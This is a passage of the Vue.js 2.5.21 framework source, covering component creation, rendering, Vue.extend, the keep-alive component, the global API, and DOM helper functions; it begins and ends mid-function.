componentVNodeHooks.prepatch(mountedNode, mountedNode);\n      } else {\n        var child = vnode.componentInstance = createComponentInstanceForVnode(\n          vnode,\n          activeInstance\n        );\n        child.$mount(hydrating ? vnode.elm : undefined, hydrating);\n      }\n    },\n\n    prepatch: function prepatch (oldVnode, vnode) {\n      var options = vnode.componentOptions;\n      var child = vnode.componentInstance = oldVnode.componentInstance;\n      updateChildComponent(\n        child,\n        options.propsData, // updated props\n        options.listeners, // updated listeners\n        vnode, // new parent vnode\n        options.children // new children\n      );\n    },\n\n    insert: function insert (vnode) {\n      var context = vnode.context;\n      var componentInstance = vnode.componentInstance;\n      if (!componentInstance._isMounted) {\n        componentInstance._isMounted = true;\n        callHook(componentInstance, 'mounted');\n      }\n      if (vnode.data.keepAlive) {\n        if (context._isMounted) {\n          // vue-router#1212\n          // During updates, a kept-alive component's child components may\n          // change, so directly walking the tree here may call activated hooks\n          // on incorrect children. Instead we push them into a queue which will\n          // be processed after the whole patch process ended.\n          queueActivatedComponent(componentInstance);\n        } else {\n          activateChildComponent(componentInstance, true /* direct */);\n        }\n      }\n    },\n\n    destroy: function destroy (vnode) {\n      var componentInstance = vnode.componentInstance;\n      if (!componentInstance._isDestroyed) {\n        if (!vnode.data.keepAlive) {\n          componentInstance.$destroy();\n        } else {\n          deactivateChildComponent(componentInstance, true /* direct */);\n        }\n      }\n    }\n  };\n\n  var hooksToMerge = Object.keys(componentVNodeHooks);\n\n  function createComponent (\n    Ctor,\n    data,\n    context,\n    children,\n    tag\n  ) {\n    if (isUndef(Ctor)) {\n      return\n    }\n\n    var baseCtor = context.$options._base;\n\n    // plain options object: turn it into a constructor\n    if (isObject(Ctor)) {\n      Ctor = baseCtor.extend(Ctor);\n    }\n\n    // if at this stage it's not a constructor or an async component factory,\n    // reject.\n    if (typeof Ctor !== 'function') {\n      {\n        warn((\"Invalid Component definition: \" + (String(Ctor))), context);\n      }\n      return\n    }\n\n    // async component\n    var asyncFactory;\n    if (isUndef(Ctor.cid)) {\n      asyncFactory = Ctor;\n      Ctor = resolveAsyncComponent(asyncFactory, baseCtor, context);\n      if (Ctor === undefined) {\n        // return a placeholder node for async component, which is rendered\n        // as a comment node but preserves all the raw information for the node.\n        // the information will be used for async server-rendering and hydration.\n        return createAsyncPlaceholder(\n          asyncFactory,\n          data,\n          context,\n          children,\n          tag\n        )\n      }\n    }\n\n    data = data || {};\n\n    // resolve constructor options in case global mixins are applied after\n    // component constructor creation\n    resolveConstructorOptions(Ctor);\n\n    // transform component v-model data into props & events\n    if (isDef(data.model)) {\n      transformModel(Ctor.options, data);\n    }\n\n    // extract props\n    var propsData = extractPropsFromVNodeData(data, Ctor, tag);\n\n    // functional component\n    if (isTrue(Ctor.options.functional)) {\n      return createFunctionalComponent(Ctor, propsData, data, context, children)\n    }\n\n    // extract listeners, since these needs to be treated as\n    // child component listeners instead of DOM listeners\n    var listeners = data.on;\n    // replace with listeners with .native modifier\n    // so it gets processed during parent component patch.\n    data.on = data.nativeOn;\n\n    if (isTrue(Ctor.options.abstract)) {\n      // abstract components do not keep anything\n      // other than props & listeners & slot\n\n      // work around flow\n      var slot = data.slot;\n      data = {};\n      if (slot) {\n        data.slot = slot;\n      }\n    }\n\n    // install component management hooks onto the placeholder node\n    installComponentHooks(data);\n\n    // return a placeholder vnode\n    var name = Ctor.options.name || tag;\n    var vnode = new VNode(\n      (\"vue-component-\" + (Ctor.cid) + (name ? (\"-\" + name) : '')),\n      data, undefined, undefined, undefined, context,\n      { Ctor: Ctor, propsData: propsData, listeners: listeners, tag: tag, children: children },\n      asyncFactory\n    );\n\n    return vnode\n  }\n\n  function createComponentInstanceForVnode (\n    vnode, // we know it's MountedComponentVNode but flow doesn't\n    parent // activeInstance in lifecycle state\n  ) {\n    var options = {\n      _isComponent: true,\n      _parentVnode: vnode,\n      parent: parent\n    };\n    // check inline-template render functions\n    var inlineTemplate = vnode.data.inlineTemplate;\n    if (isDef(inlineTemplate)) {\n      options.render = inlineTemplate.render;\n      options.staticRenderFns = inlineTemplate.staticRenderFns;\n    }\n    return new vnode.componentOptions.Ctor(options)\n  }\n\n  function installComponentHooks (data) {\n    var hooks = data.hook || (data.hook = {});\n    for (var i = 0; i < hooksToMerge.length; i++) {\n      var key = hooksToMerge[i];\n      var existing = hooks[key];\n      var toMerge = componentVNodeHooks[key];\n      if (existing !== toMerge && !(existing && existing._merged)) {\n        hooks[key] = existing ? mergeHook$1(toMerge, existing) : toMerge;\n      }\n    }\n  }\n\n  function mergeHook$1 (f1, f2) {\n    var merged = function (a, b) {\n      // flow complains about extra args which is why we use any\n      f1(a, b);\n      f2(a, b);\n    };\n    merged._merged = true;\n    return merged\n  }\n\n  // transform component v-model info (value and callback) into\n  // prop and event handler respectively.\n  function transformModel (options, data) {\n    var prop = (options.model && options.model.prop) || 'value';\n    var event = (options.model && options.model.event) || 'input'\n    ;(data.props || (data.props = {}))[prop] = data.model.value;\n    var on = data.on || (data.on = {});\n    var existing = on[event];\n    var callback = data.model.callback;\n    if (isDef(existing)) {\n      if (\n        Array.isArray(existing)\n          ? existing.indexOf(callback) === -1\n          : existing !== callback\n      ) {\n        on[event] = [callback].concat(existing);\n      }\n    } else {\n      on[event] = callback;\n    }\n  }\n\n  /*  */\n\n  var SIMPLE_NORMALIZE = 1;\n  var ALWAYS_NORMALIZE = 2;\n\n  // wrapper function for providing a more flexible interface\n  // without getting yelled at by flow\n  function createElement (\n    context,\n    tag,\n    data,\n    children,\n    normalizationType,\n    alwaysNormalize\n  ) {\n    if (Array.isArray(data) || isPrimitive(data)) {\n      normalizationType = children;\n      children = data;\n      data = undefined;\n    }\n    if (isTrue(alwaysNormalize)) {\n      normalizationType = ALWAYS_NORMALIZE;\n    }\n    return _createElement(context, tag, data, children, normalizationType)\n  }\n\n  function _createElement (\n    context,\n    tag,\n    data,\n    children,\n    normalizationType\n  ) {\n    if (isDef(data) && isDef((data).__ob__)) {\n      warn(\n        \"Avoid using observed data object as vnode data: \" + (JSON.stringify(data)) + \"\\n\" +\n        'Always create fresh vnode data objects in each render!',\n        context\n      );\n      return createEmptyVNode()\n    }\n    // object syntax in v-bind\n    if (isDef(data) && isDef(data.is)) {\n      tag = data.is;\n    }\n    if (!tag) {\n      // in case of component :is set to falsy value\n      return createEmptyVNode()\n    }\n    // warn against non-primitive key\n    if (isDef(data) && isDef(data.key) && !isPrimitive(data.key)\n    ) {\n      {\n        warn(\n          'Avoid using non-primitive value as key, ' +\n          'use string/number value instead.',\n          context\n        );\n      }\n    }\n    // support single function children as default scoped slot\n    if (Array.isArray(children) &&\n      typeof children[0] === 'function'\n    ) {\n      data = data || {};\n      data.scopedSlots = { default: children[0] };\n      children.length = 0;\n    }\n    if (normalizationType === ALWAYS_NORMALIZE) {\n      children = normalizeChildren(children);\n    } else if (normalizationType === SIMPLE_NORMALIZE) {\n      children = simpleNormalizeChildren(children);\n    }\n    var vnode, ns;\n    if (typeof tag === 'string') {\n      var Ctor;\n      ns = (context.$vnode && context.$vnode.ns) || config.getTagNamespace(tag);\n      if (config.isReservedTag(tag)) {\n        // platform built-in elements\n        vnode = new VNode(\n          config.parsePlatformTagName(tag), data, children,\n          undefined, undefined, context\n        );\n      } else if ((!data || !data.pre) && isDef(Ctor = resolveAsset(context.$options, 'components', tag))) {\n        // component\n        vnode = createComponent(Ctor, data, context, children, tag);\n      } else {\n        // unknown or unlisted namespaced elements\n        // check at runtime because it may get assigned a namespace when its\n        // parent normalizes children\n        vnode = new VNode(\n          tag, data, children,\n          undefined, undefined, context\n        );\n      }\n    } else {\n      // direct component options / constructor\n      vnode = createComponent(tag, data, context, children);\n    }\n    if (Array.isArray(vnode)) {\n      return vnode\n    } else if (isDef(vnode)) {\n      if (isDef(ns)) { applyNS(vnode, ns); }\n      if (isDef(data)) { registerDeepBindings(data); }\n      return vnode\n    } else {\n      return createEmptyVNode()\n    }\n  }\n\n  function applyNS (vnode, ns, force) {\n    vnode.ns = ns;\n    if (vnode.tag === 'foreignObject') {\n      // use default namespace inside foreignObject\n      ns = undefined;\n      force = true;\n    }\n    if (isDef(vnode.children)) {\n      for (var i = 0, l = vnode.children.length; i < l; i++) {\n        var child = vnode.children[i];\n        if (isDef(child.tag) && (\n          isUndef(child.ns) || (isTrue(force) && child.tag !== 'svg'))) {\n          applyNS(child, ns, force);\n        }\n      }\n    }\n  }\n\n  // ref #5318\n  // necessary to ensure parent re-render when deep bindings like :style and\n  // :class are used on slot nodes\n  function registerDeepBindings (data) {\n    if (isObject(data.style)) {\n      traverse(data.style);\n    }\n    if (isObject(data.class)) {\n      traverse(data.class);\n    }\n  }\n\n  /*  */\n\n  function initRender (vm) {\n    vm._vnode = null; // the root of the child tree\n    vm._staticTrees = null; // v-once cached trees\n    var options = vm.$options;\n    var parentVnode = vm.$vnode = options._parentVnode; // the placeholder node in parent tree\n    var renderContext = parentVnode && parentVnode.context;\n    vm.$slots = resolveSlots(options._renderChildren, renderContext);\n    vm.$scopedSlots = emptyObject;\n    // bind the createElement fn to this instance\n    // so that we get proper render context inside it.\n    // args order: tag, data, children, normalizationType, alwaysNormalize\n    // internal version is used by render functions compiled from templates\n    vm._c = function (a, b, c, d) { return createElement(vm, a, b, c, d, false); };\n    // normalization is always applied for the public version, used in\n    // user-written render functions.\n    vm.$createElement = function (a, b, c, d) { return createElement(vm, a, b, c, d, true); };\n\n    // $attrs & $listeners are exposed for easier HOC creation.\n    // they need to be reactive so that HOCs using them are always updated\n    var parentData = parentVnode && parentVnode.data;\n\n    /* istanbul ignore else */\n    {\n      defineReactive$$1(vm, '$attrs', parentData && parentData.attrs || emptyObject, function () {\n        !isUpdatingChildComponent && warn(\"$attrs is readonly.\", vm);\n      }, true);\n      defineReactive$$1(vm, '$listeners', options._parentListeners || emptyObject, function () {\n        !isUpdatingChildComponent && warn(\"$listeners is readonly.\", vm);\n      }, true);\n    }\n  }\n\n  function renderMixin (Vue) {\n    // install runtime convenience helpers\n    installRenderHelpers(Vue.prototype);\n\n    Vue.prototype.$nextTick = function (fn) {\n      return nextTick(fn, this)\n    };\n\n    Vue.prototype._render = function () {\n      var vm = this;\n      var ref = vm.$options;\n      var render = ref.render;\n      var _parentVnode = ref._parentVnode;\n\n      if (_parentVnode) {\n        vm.$scopedSlots = _parentVnode.data.scopedSlots || emptyObject;\n      }\n\n      // set parent vnode. this allows render functions to have access\n      // to the data on the placeholder node.\n      vm.$vnode = _parentVnode;\n      // render self\n      var vnode;\n      try {\n        vnode = render.call(vm._renderProxy, vm.$createElement);\n      } catch (e) {\n        handleError(e, vm, \"render\");\n        // return error render result,\n        // or previous vnode to prevent render error causing blank component\n        /* istanbul ignore else */\n        if (vm.$options.renderError) {\n          try {\n            vnode = vm.$options.renderError.call(vm._renderProxy, vm.$createElement, e);\n          } catch (e) {\n            handleError(e, vm, \"renderError\");\n            vnode = vm._vnode;\n          }\n        } else {\n          vnode = vm._vnode;\n        }\n      }\n      // return empty vnode in case the render function errored out\n      if (!(vnode instanceof VNode)) {\n        if (Array.isArray(vnode)) {\n          warn(\n            'Multiple root nodes returned from render function. Render function ' +\n            'should return a single root node.',\n            vm\n          );\n        }\n        vnode = createEmptyVNode();\n      }\n      // set parent\n      vnode.parent = _parentVnode;\n      return vnode\n    };\n  }\n\n  /*  */\n\n  var uid$3 = 0;\n\n  function initMixin (Vue) {\n    Vue.prototype._init = function (options) {\n      var vm = this;\n      // a uid\n      vm._uid = uid$3++;\n\n      var startTag, endTag;\n      /* istanbul ignore if */\n      if (config.performance && mark) {\n        startTag = \"vue-perf-start:\" + (vm._uid);\n        endTag = \"vue-perf-end:\" + (vm._uid);\n        mark(startTag);\n      }\n\n      // a flag to avoid this being observed\n      vm._isVue = true;\n      // merge options\n      if (options && options._isComponent) {\n        // optimize internal component instantiation\n        // since dynamic options merging is pretty slow, and none of the\n        // internal component options needs special treatment.\n        initInternalComponent(vm, options);\n      } else {\n        vm.$options = mergeOptions(\n          resolveConstructorOptions(vm.constructor),\n          options || {},\n          vm\n        );\n      }\n      /* istanbul ignore else */\n      {\n        initProxy(vm);\n      }\n      // expose real self\n      vm._self = vm;\n      initLifecycle(vm);\n      initEvents(vm);\n      initRender(vm);\n      callHook(vm, 'beforeCreate');\n      initInjections(vm); // resolve injections before data/props\n      initState(vm);\n      initProvide(vm); // resolve provide after data/props\n      callHook(vm, 'created');\n\n      /* istanbul ignore if */\n      if (config.performance && mark) {\n        vm._name = formatComponentName(vm, false);\n        mark(endTag);\n        measure((\"vue \" + (vm._name) + \" init\"), startTag, endTag);\n      }\n\n      if (vm.$options.el) {\n        vm.$mount(vm.$options.el);\n      }\n    };\n  }\n\n  function initInternalComponent (vm, options) {\n    var opts = vm.$options = Object.create(vm.constructor.options);\n    // doing this because it's faster than dynamic enumeration.\n    var parentVnode = options._parentVnode;\n    opts.parent = options.parent;\n    opts._parentVnode = parentVnode;\n\n    var vnodeComponentOptions = parentVnode.componentOptions;\n    opts.propsData = vnodeComponentOptions.propsData;\n    opts._parentListeners = vnodeComponentOptions.listeners;\n    opts._renderChildren = vnodeComponentOptions.children;\n    opts._componentTag = vnodeComponentOptions.tag;\n\n    if (options.render) {\n      opts.render = options.render;\n      opts.staticRenderFns = options.staticRenderFns;\n    }\n  }\n\n  function resolveConstructorOptions (Ctor) {\n    var options = Ctor.options;\n    if (Ctor.super) {\n      var superOptions = resolveConstructorOptions(Ctor.super);\n      var cachedSuperOptions = Ctor.superOptions;\n      if (superOptions !== cachedSuperOptions) {\n        // super option changed,\n        // need to resolve new options.\n        Ctor.superOptions = superOptions;\n        // check if there are any late-modified/attached options (#4976)\n        var modifiedOptions = resolveModifiedOptions(Ctor);\n        // update base extend options\n        if (modifiedOptions) {\n          extend(Ctor.extendOptions, modifiedOptions);\n        }\n        options = Ctor.options = mergeOptions(superOptions, Ctor.extendOptions);\n        if (options.name) {\n          options.components[options.name] = Ctor;\n        }\n      }\n    }\n    return options\n  }\n\n  function resolveModifiedOptions (Ctor) {\n    var modified;\n    var latest = Ctor.options;\n    var extended = Ctor.extendOptions;\n    var sealed = Ctor.sealedOptions;\n    for (var key in latest) {\n      if (latest[key] !== sealed[key]) {\n        if (!modified) { modified = {}; }\n        modified[key] = dedupe(latest[key], extended[key], sealed[key]);\n      }\n    }\n    return modified\n  }\n\n  function dedupe (latest, extended, sealed) {\n    // compare latest and sealed to ensure lifecycle hooks won't be duplicated\n    // between merges\n    if (Array.isArray(latest)) {\n      var res = [];\n      sealed = Array.isArray(sealed) ? sealed : [sealed];\n      extended = Array.isArray(extended) ? extended : [extended];\n      for (var i = 0; i < latest.length; i++) {\n        // push original options and not sealed options to exclude duplicated options\n        if (extended.indexOf(latest[i]) >= 0 || sealed.indexOf(latest[i]) < 0) {\n          res.push(latest[i]);\n        }\n      }\n      return res\n    } else {\n      return latest\n    }\n  }\n\n  function Vue (options) {\n    if (!(this instanceof Vue)\n    ) {\n      warn('Vue is a constructor and should be called with the `new` keyword');\n    }\n    this._init(options);\n  }\n\n  initMixin(Vue);\n  stateMixin(Vue);\n  eventsMixin(Vue);\n  lifecycleMixin(Vue);\n  renderMixin(Vue);\n\n  /*  */\n\n  function initUse (Vue) {\n    Vue.use = function (plugin) {\n      var installedPlugins = (this._installedPlugins || (this._installedPlugins = []));\n      if (installedPlugins.indexOf(plugin) > -1) {\n        return this\n      }\n\n      // additional parameters\n      var args = toArray(arguments, 1);\n      args.unshift(this);\n      if (typeof plugin.install === 'function') {\n        plugin.install.apply(plugin, args);\n      } else if (typeof plugin === 'function') {\n        plugin.apply(null, args);\n      }\n      installedPlugins.push(plugin);\n      return this\n    };\n  }\n\n  /*  */\n\n  function initMixin$1 (Vue) {\n    Vue.mixin = function (mixin) {\n      this.options = mergeOptions(this.options, mixin);\n      return this\n    };\n  }\n\n  /*  */\n\n  function initExtend (Vue) {\n    /**\n     * Each instance constructor, including Vue, has a unique\n     * cid. This enables us to create wrapped \"child\n     * constructors\" for prototypal inheritance and cache them.\n     */\n    Vue.cid = 0;\n    var cid = 1;\n\n    /**\n     * Class inheritance\n     */\n    Vue.extend = function (extendOptions) {\n      extendOptions = extendOptions || {};\n      var Super = this;\n      var SuperId = Super.cid;\n      var cachedCtors = extendOptions._Ctor || (extendOptions._Ctor = {});\n      if (cachedCtors[SuperId]) {\n        return cachedCtors[SuperId]\n      }\n\n      var name = extendOptions.name || Super.options.name;\n      if (name) {\n        validateComponentName(name);\n      }\n\n      var Sub = function VueComponent (options) {\n        this._init(options);\n      };\n      Sub.prototype = Object.create(Super.prototype);\n      Sub.prototype.constructor = Sub;\n      Sub.cid = cid++;\n      Sub.options = mergeOptions(\n        Super.options,\n        extendOptions\n      );\n      Sub['super'] = Super;\n\n      // For props and computed properties, we define the proxy getters on\n      // the Vue instances at extension time, on the extended prototype. This\n      // avoids Object.defineProperty calls for each instance created.\n      if (Sub.options.props) {\n        initProps$1(Sub);\n      }\n      if (Sub.options.computed) {\n        initComputed$1(Sub);\n      }\n\n      // allow further extension/mixin/plugin usage\n      Sub.extend = Super.extend;\n      Sub.mixin = Super.mixin;\n      Sub.use = Super.use;\n\n      // create asset registers, so extended classes\n      // can have their private assets too.\n      ASSET_TYPES.forEach(function (type) {\n        Sub[type] = Super[type];\n      });\n      // enable recursive self-lookup\n      if (name) {\n        Sub.options.components[name] = Sub;\n      }\n\n      // keep a reference to the super options at extension time.\n      // later at instantiation we can check if Super's options have\n      // been updated.\n      Sub.superOptions = Super.options;\n      Sub.extendOptions = extendOptions;\n      Sub.sealedOptions = extend({}, Sub.options);\n\n      // cache constructor\n      cachedCtors[SuperId] = Sub;\n      return Sub\n    };\n  }\n\n  function initProps$1 (Comp) {\n    var props = Comp.options.props;\n    for (var key in props) {\n      proxy(Comp.prototype, \"_props\", key);\n    }\n  }\n\n  function initComputed$1 (Comp) {\n    var computed = Comp.options.computed;\n    for (var key in computed) {\n      defineComputed(Comp.prototype, key, computed[key]);\n    }\n  }\n\n  /*  */\n\n  function initAssetRegisters (Vue) {\n    /**\n     * Create asset registration methods.\n     */\n    ASSET_TYPES.forEach(function (type) {\n      Vue[type] = function (\n        id,\n        definition\n      ) {\n        if (!definition) {\n          return this.options[type + 's'][id]\n        } else {\n          /* istanbul ignore if */\n          if (type === 'component') {\n            validateComponentName(id);\n          }\n          if (type === 'component' && isPlainObject(definition)) {\n            definition.name = definition.name || id;\n            definition = this.options._base.extend(definition);\n          }\n          if (type === 'directive' && typeof definition === 'function') {\n            definition = { bind: definition, update: definition };\n          }\n          this.options[type + 's'][id] = definition;\n          return definition\n        }\n      };\n    });\n  }\n\n  /*  */\n\n\n\n  function getComponentName (opts) {\n    return opts && (opts.Ctor.options.name || opts.tag)\n  }\n\n  function matches (pattern, name) {\n    if (Array.isArray(pattern)) {\n      return pattern.indexOf(name) > -1\n    } else if (typeof pattern === 'string') {\n      return pattern.split(',').indexOf(name) > -1\n    } else if (isRegExp(pattern)) {\n      return pattern.test(name)\n    }\n    /* istanbul ignore next */\n    return false\n  }\n\n  function pruneCache (keepAliveInstance, filter) {\n    var cache = keepAliveInstance.cache;\n    var keys = keepAliveInstance.keys;\n    var _vnode = keepAliveInstance._vnode;\n    for (var key in cache) {\n      var cachedNode = cache[key];\n      if (cachedNode) {\n        var name = getComponentName(cachedNode.componentOptions);\n        if (name && !filter(name)) {\n          pruneCacheEntry(cache, key, keys, _vnode);\n        }\n      }\n    }\n  }\n\n  function pruneCacheEntry (\n    cache,\n    key,\n    keys,\n    current\n  ) {\n    var cached$$1 = cache[key];\n    if (cached$$1 && (!current || cached$$1.tag !== current.tag)) {\n      cached$$1.componentInstance.$destroy();\n    }\n    cache[key] = null;\n    remove(keys, key);\n  }\n\n  var patternTypes = [String, RegExp, Array];\n\n  var KeepAlive = {\n    name: 'keep-alive',\n    abstract: true,\n\n    props: {\n      include: patternTypes,\n      exclude: patternTypes,\n      max: [String, Number]\n    },\n\n    created: function created () {\n      this.cache = Object.create(null);\n      this.keys = [];\n    },\n\n    destroyed: function destroyed () {\n      for (var key in this.cache) {\n        pruneCacheEntry(this.cache, key, this.keys);\n      }\n    },\n\n    mounted: function mounted () {\n      var this$1 = this;\n\n      this.$watch('include', function (val) {\n        pruneCache(this$1, function (name) { return matches(val, name); });\n      });\n      this.$watch('exclude', function (val) {\n        pruneCache(this$1, function (name) { return !matches(val, name); });\n      });\n    },\n\n    render: function render () {\n      var slot = this.$slots.default;\n      var vnode = getFirstComponentChild(slot);\n      var componentOptions = vnode && vnode.componentOptions;\n      if (componentOptions) {\n        // check pattern\n        var name = getComponentName(componentOptions);\n        var ref = this;\n        var include = ref.include;\n        var exclude = ref.exclude;\n        if (\n          // not included\n          (include && (!name || !matches(include, name))) ||\n          // excluded\n          (exclude && name && matches(exclude, name))\n        ) {\n          return vnode\n        }\n\n        var ref$1 = this;\n        var cache = ref$1.cache;\n        var keys = ref$1.keys;\n        var key = vnode.key == null\n          // same constructor may get registered as different local components\n          // so cid alone is not enough (#3269)\n          ? componentOptions.Ctor.cid + (componentOptions.tag ? (\"::\" + (componentOptions.tag)) : '')\n          : vnode.key;\n        if (cache[key]) {\n          vnode.componentInstance = cache[key].componentInstance;\n          // make current key freshest\n          remove(keys, key);\n          keys.push(key);\n        } else {\n          cache[key] = vnode;\n          keys.push(key);\n          // prune oldest entry\n          if (this.max && keys.length > parseInt(this.max)) {\n            pruneCacheEntry(cache, keys[0], keys, this._vnode);\n          }\n        }\n\n        vnode.data.keepAlive = true;\n      }\n      return vnode || (slot && slot[0])\n    }\n  };\n\n  var builtInComponents = {\n    KeepAlive: KeepAlive\n  };\n\n  /*  */\n\n  function initGlobalAPI (Vue) {\n    // config\n    var configDef = {};\n    configDef.get = function () { return config; };\n    {\n      configDef.set = function () {\n        warn(\n          'Do not replace the Vue.config object, set individual fields instead.'\n        );\n      };\n    }\n    Object.defineProperty(Vue, 'config', configDef);\n\n    // exposed util methods.\n    // NOTE: these are not considered part of the public API - avoid relying on\n    // them unless you are aware of the risk.\n    Vue.util = {\n      warn: warn,\n      extend: extend,\n      mergeOptions: mergeOptions,\n      defineReactive: defineReactive$$1\n    };\n\n    Vue.set = set;\n    Vue.delete = del;\n    Vue.nextTick = nextTick;\n\n    Vue.options = Object.create(null);\n    ASSET_TYPES.forEach(function (type) {\n      Vue.options[type + 's'] = Object.create(null);\n    });\n\n    // this is used to identify the \"base\" constructor to extend all plain-object\n    // components with in Weex's multi-instance scenarios.\n    Vue.options._base = Vue;\n\n    extend(Vue.options.components, builtInComponents);\n\n    initUse(Vue);\n    initMixin$1(Vue);\n    initExtend(Vue);\n    initAssetRegisters(Vue);\n  }\n\n  initGlobalAPI(Vue);\n\n  Object.defineProperty(Vue.prototype, '$isServer', {\n    get: isServerRendering\n  });\n\n  Object.defineProperty(Vue.prototype, '$ssrContext', {\n    get: function get () {\n      /* istanbul ignore next */\n      return this.$vnode && this.$vnode.ssrContext\n    }\n  });\n\n  // expose FunctionalRenderContext for ssr runtime helper installation\n  Object.defineProperty(Vue, 'FunctionalRenderContext', {\n    value: FunctionalRenderContext\n  });\n\n  Vue.version = '2.5.21';\n\n  /*  */\n\n  // these are reserved for web because they are directly compiled away\n  // during template compilation\n  var isReservedAttr = makeMap('style,class');\n\n  // attributes that should be using props for binding\n  var acceptValue = makeMap('input,textarea,option,select,progress');\n  var mustUseProp = function (tag, type, attr) {\n    return (\n      (attr === 'value' && acceptValue(tag)) && type !== 'button' ||\n      (attr === 'selected' && tag === 'option') ||\n      (attr === 'checked' && tag === 'input') ||\n      (attr === 'muted' && tag === 'video')\n    )\n  };\n\n  var isEnumeratedAttr = makeMap('contenteditable,draggable,spellcheck');\n\n  var isBooleanAttr = makeMap(\n    'allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,' +\n    'default,defaultchecked,defaultmuted,defaultselected,defer,disabled,' +\n    'enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,' +\n    'muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,' +\n    'required,reversed,scoped,seamless,selected,sortable,translate,' +\n    'truespeed,typemustmatch,visible'\n  );\n\n  var xlinkNS = 'http://www.w3.org/1999/xlink';\n\n  var isXlink = function (name) {\n    return name.charAt(5) === ':' && name.slice(0, 5) === 'xlink'\n  };\n\n  var getXlinkProp = function (name) {\n    return isXlink(name) ? name.slice(6, name.length) : ''\n  };\n\n  var isFalsyAttrValue = function (val) {\n    return val == null || val === false\n  };\n\n  /*  */\n\n  function genClassForVnode (vnode) {\n    var data = vnode.data;\n    var parentNode = vnode;\n    var childNode = vnode;\n    while (isDef(childNode.componentInstance)) {\n      childNode = childNode.componentInstance._vnode;\n      if (childNode && childNode.data) {\n        data = mergeClassData(childNode.data, data);\n      }\n    }\n    while (isDef(parentNode = parentNode.parent)) {\n      if (parentNode && parentNode.data) {\n        data = mergeClassData(data, parentNode.data);\n      }\n    }\n    return renderClass(data.staticClass, data.class)\n  }\n\n  function mergeClassData (child, parent) {\n    return {\n      staticClass: concat(child.staticClass, parent.staticClass),\n      class: isDef(child.class)\n        ? [child.class, parent.class]\n        : parent.class\n    }\n  }\n\n  function renderClass (\n    staticClass,\n    dynamicClass\n  ) {\n    if (isDef(staticClass) || isDef(dynamicClass)) {\n      return concat(staticClass, stringifyClass(dynamicClass))\n    }\n    /* istanbul ignore next */\n    return ''\n  }\n\n  function concat (a, b) {\n    return a ? b ? (a + ' ' + b) : a : (b || '')\n  }\n\n  function stringifyClass (value) {\n    if (Array.isArray(value)) {\n      return stringifyArray(value)\n    }\n    if (isObject(value)) {\n      return stringifyObject(value)\n    }\n    if (typeof value === 'string') {\n      return value\n    }\n    /* istanbul ignore next */\n    return ''\n  }\n\n  function stringifyArray (value) {\n    var res = '';\n    var stringified;\n    for (var i = 0, l = value.length; i < l; i++) {\n      if (isDef(stringified = stringifyClass(value[i])) && stringified !== '') {\n        if (res) { res += ' '; }\n        res += stringified;\n      }\n    }\n    return res\n  }\n\n  function stringifyObject (value) {\n    var res = '';\n    for (var key in value) {\n      if (value[key]) {\n        if (res) { res += ' '; }\n        res += key;\n      }\n    }\n    return res\n  }\n\n  /*  */\n\n  var namespaceMap = {\n    svg: 'http://www.w3.org/2000/svg',\n    math: 'http://www.w3.org/1998/Math/MathML'\n  };\n\n  var isHTMLTag = makeMap(\n    'html,body,base,head,link,meta,style,title,' +\n    'address,article,aside,footer,header,h1,h2,h3,h4,h5,h6,hgroup,nav,section,' +\n    'div,dd,dl,dt,figcaption,figure,picture,hr,img,li,main,ol,p,pre,ul,' +\n    'a,b,abbr,bdi,bdo,br,cite,code,data,dfn,em,i,kbd,mark,q,rp,rt,rtc,ruby,' +\n    's,samp,small,span,strong,sub,sup,time,u,var,wbr,area,audio,map,track,video,' +\n    'embed,object,param,source,canvas,script,noscript,del,ins,' +\n    'caption,col,colgroup,table,thead,tbody,td,th,tr,' +\n    'button,datalist,fieldset,form,input,label,legend,meter,optgroup,option,' +\n    'output,progress,select,textarea,' +\n    'details,dialog,menu,menuitem,summary,' +\n    'content,element,shadow,template,blockquote,iframe,tfoot'\n  );\n\n  // this map is intentionally selective, only covering SVG elements that may\n  // contain child elements.\n  var isSVG = makeMap(\n    'svg,animate,circle,clippath,cursor,defs,desc,ellipse,filter,font-face,' +\n    'foreignObject,g,glyph,image,line,marker,mask,missing-glyph,path,pattern,' +\n    'polygon,polyline,rect,switch,symbol,text,textpath,tspan,use,view',\n    true\n  );\n\n  var isPreTag = function (tag) { return tag === 'pre'; };\n\n  var isReservedTag = function (tag) {\n    return isHTMLTag(tag) || isSVG(tag)\n  };\n\n  function getTagNamespace (tag) {\n    if (isSVG(tag)) {\n      return 'svg'\n    }\n    // basic support for MathML\n    // note it doesn't support other MathML elements being component roots\n    if (tag === 'math') {\n      return 'math'\n    }\n  }\n\n  var unknownElementCache = Object.create(null);\n  function isUnknownElement (tag) {\n    /* istanbul ignore if */\n    if (!inBrowser) {\n      return true\n    }\n    if (isReservedTag(tag)) {\n      return false\n    }\n    tag = tag.toLowerCase();\n    /* istanbul ignore if */\n    if (unknownElementCache[tag] != null) {\n      return unknownElementCache[tag]\n    }\n    var el = document.createElement(tag);\n    if (tag.indexOf('-') > -1) {\n      // http://stackoverflow.com/a/28210364/1070244\n      return (unknownElementCache[tag] = (\n        el.constructor === window.HTMLUnknownElement ||\n        el.constructor === window.HTMLElement\n      ))\n    } else {\n      return (unknownElementCache[tag] = /HTMLUnknownElement/.test(el.toString()))\n    }\n  }\n\n  var isTextInputType = makeMap('text,number,password,search,email,tel,url');\n\n  /*  */\n\n  /**\n   * Query an element selector if it's not an element already.\n   */\n  function query (el) {\n    if (typeof el === 'string') {\n      var selected = document.querySelector(el);\n      if (!selected) {\n        warn(\n          'Cannot find element: ' + el\n        );\n        return document.createElement('div')\n      }\n      return selected\n    } else {\n      return el\n    }\n  }\n\n  /*  */\n\n  function createElement$1 (tagName, vnode) {\n    var elm = document.createElement(tagName);\n    if (tagName !== 'select') {\n      return elm\n    }\n    // false or null will remove the attribute but undefined will not\n    if (vnode.data && vnode.data.attrs && vnode.data.attrs.multiple !== undefined) {\n      elm.setAttribute('multiple', 'multiple');\n    }\n    return elm\n  }\n\n  function createElementNS (namespace, tagName) {\n    return document.createElementNS(namespaceMap[namespace], tagName)\n  }\n\n  function createTextNode (text) {\n    return document.createTextNode(text)\n  }\n\n  function createComment (text) {\n    return document.createComment(text)\n  }\n\n  function insertBefore (parentNode, newNode, referenceNode) {\n    parentNode.insertBefore(newNode, referenceNode);\n  }\n\n  function removeChild (node, child) {\n    node.removeChild(child);\n  }\n\n  function appendChild (node, child) {\n    node.appendChild(child);\n  }\n\n  function parentNode (node) {\n    return 